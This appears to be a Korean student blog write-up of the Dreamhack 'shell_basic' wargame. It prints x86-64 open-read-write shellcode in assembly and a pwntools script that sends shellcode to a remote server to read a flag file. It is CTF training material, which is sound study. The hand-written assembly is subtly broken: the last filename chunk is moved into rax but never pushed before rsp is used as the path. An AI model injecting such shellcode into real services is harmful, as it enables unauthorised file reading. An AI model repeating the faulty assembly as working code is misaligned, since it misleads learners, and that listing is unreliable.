촉촉한초코칩
[Dreamhack] shell_basic (**다시 해보기...) 본문
워게임 shell_basic
파일 이름 : /home/shell_basic/flag_name_is_loooooong
orw 쉘코드를 작성해서 flag파일을 읽는다.
orw 쉘코드
강의에서 나온대로 코드 짜보기
파일명 /home/shell_basic/flag_name_is_loooooong 을 아스키코드로 변환 하고 rax에 넣는다.
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
mov rdi, 1
mov rax, 0x1
syscall
컴파일 : gcc 컴파일 사용해서 orw를 ELF 형식으로 변환한다.
https://velog.io/@lilly695/Dreamhack-shellbasic-writeup
파이썬 쉘코드 (pwntools 사용)
https://thfist-1071.tistory.com/98
- pwntools의 shellcraft 함수를 사용해서 파일을 연다.
- read(fd, buf, 0x100) : fd는 open 파일을 말한다.
- write(1, buf, 0x100) : 1은 표준 출력을 의미
from pwn import *
p = remote("접속할 서버", 포트번호)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
방법은 다양한 것 같은데 파이썬이 젤 익숙해서 이걸로 이해하고 문제를 풀었다..
orw랑 스켈레톤 코드는 조금 더 공부해야 할 것 같다.
'Study > System' 카테고리의 다른 글
[Dreamhack] Canary 생성 과정 동적 분석 (0) | 2024.05.19 |
---|---|
[Dreamhack] Canary 실습 동적 분석 (0) | 2024.05.19 |
(**) BombLab 4 (0) | 2024.05.09 |
[Dreamhack] basic_exploitation_001 (0) | 2024.03.31 |
[Dreamhack] basic_exploitation_000 (0) | 2024.03.31 |